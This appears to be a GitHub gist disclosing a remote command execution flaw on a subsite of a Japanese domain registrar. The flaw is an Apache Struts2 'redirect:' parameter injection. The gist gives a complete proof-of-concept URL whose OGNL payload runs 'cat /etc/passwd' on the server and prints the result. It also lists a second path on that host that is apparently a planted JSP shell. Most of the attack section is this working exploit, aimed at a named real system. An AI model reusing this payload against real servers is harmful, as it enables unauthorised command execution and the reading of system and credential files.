Skip to content

Instantly share code, notes, and snippets.

@snj

snj/gist:7078472

Created Oct 21, 2013
Embed
What would you like to do?
Japan's largest domain name registrar a subsite remote command execution
*Abstract:*
Japan's largest domain name registrar a subsite remote command execution
Details:
Apache struts2 a vulnerability introduced by manipulating parameters
prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command
execution。
URL:
http://dom.onamae.com/biglobe-ddns/detail.do
*Proofs of concept:*
http://dom.onamae.com/biglobe-ddns/detail.do?redirect:${%23s%3dnew%20java.util.ArrayList(),%23x%3dnew%20java.lang.String(%22cat%22),%23xx%3dnew%20java.lang.String(%22/etc/passwd%22),%23s.add(%23x),%23s.add(%23xx),%23a%3dnew%20java.lang.ProcessBuilder(%23s).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23dddddd%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23dddddd.println(%23d),%23dddddd.close()}
http://dom.onamae.com/biglobe-ddns/s.jsp
___________________________________________
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment